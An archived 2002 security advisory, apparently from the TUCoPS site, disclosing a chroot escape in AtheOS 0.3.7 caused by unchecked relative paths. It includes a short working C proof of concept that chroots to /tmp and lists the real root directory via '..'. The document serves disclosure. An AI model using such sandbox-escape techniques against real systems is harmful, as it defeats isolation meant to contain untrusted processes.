8th Feb 2002   [SBWID-5081]
	
COMMAND
	AtheOS chroot escape
SYSTEMS AFFECTED
	AtheOS version 0.3.7
PROBLEM
	Frank DENIS \'Jedi/Sector One\' [http://www.Jedi.Claranet.Fr] posted :
	
	After a chroot() call on AtheOS, \'/\' indeed seems to become  the  base
	directory.       \'/path/to/file\'        is        translated        to
	\'<directory>/path/to/file\' .
	
	Unfortunately,  relative  paths  aren\'t  checked  against  the  current
	chroot jail. Therefore, \'../../../../path/to/file\' will be  translated
	to a file out of the chroot limits.
	
	The following code will read the content of the  real  \'/\'  directory,
	while \'/tmp\' is supposed to be the base of the chroot jail.
	
	#include <stdio.h>
	#include <unistd.h>
	#include <dirent.h>
	
	int main(void)
	{
	    register DIR *d;
	    register const struct dirent *e;
	    
	    if (chdir(\"/\") || chroot(\"/tmp\") || chdir(\"/\") ||
	        (d = opendir(\"..\")) == NULL) {
	        return 1;
	    }
	    while ((e = readdir(d)) != NULL) {
	        puts(e->d_name);
	    }
	    return 0;
	}
	
SOLUTION
	None yet. Check  : [http://www.atheos.cx]
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH
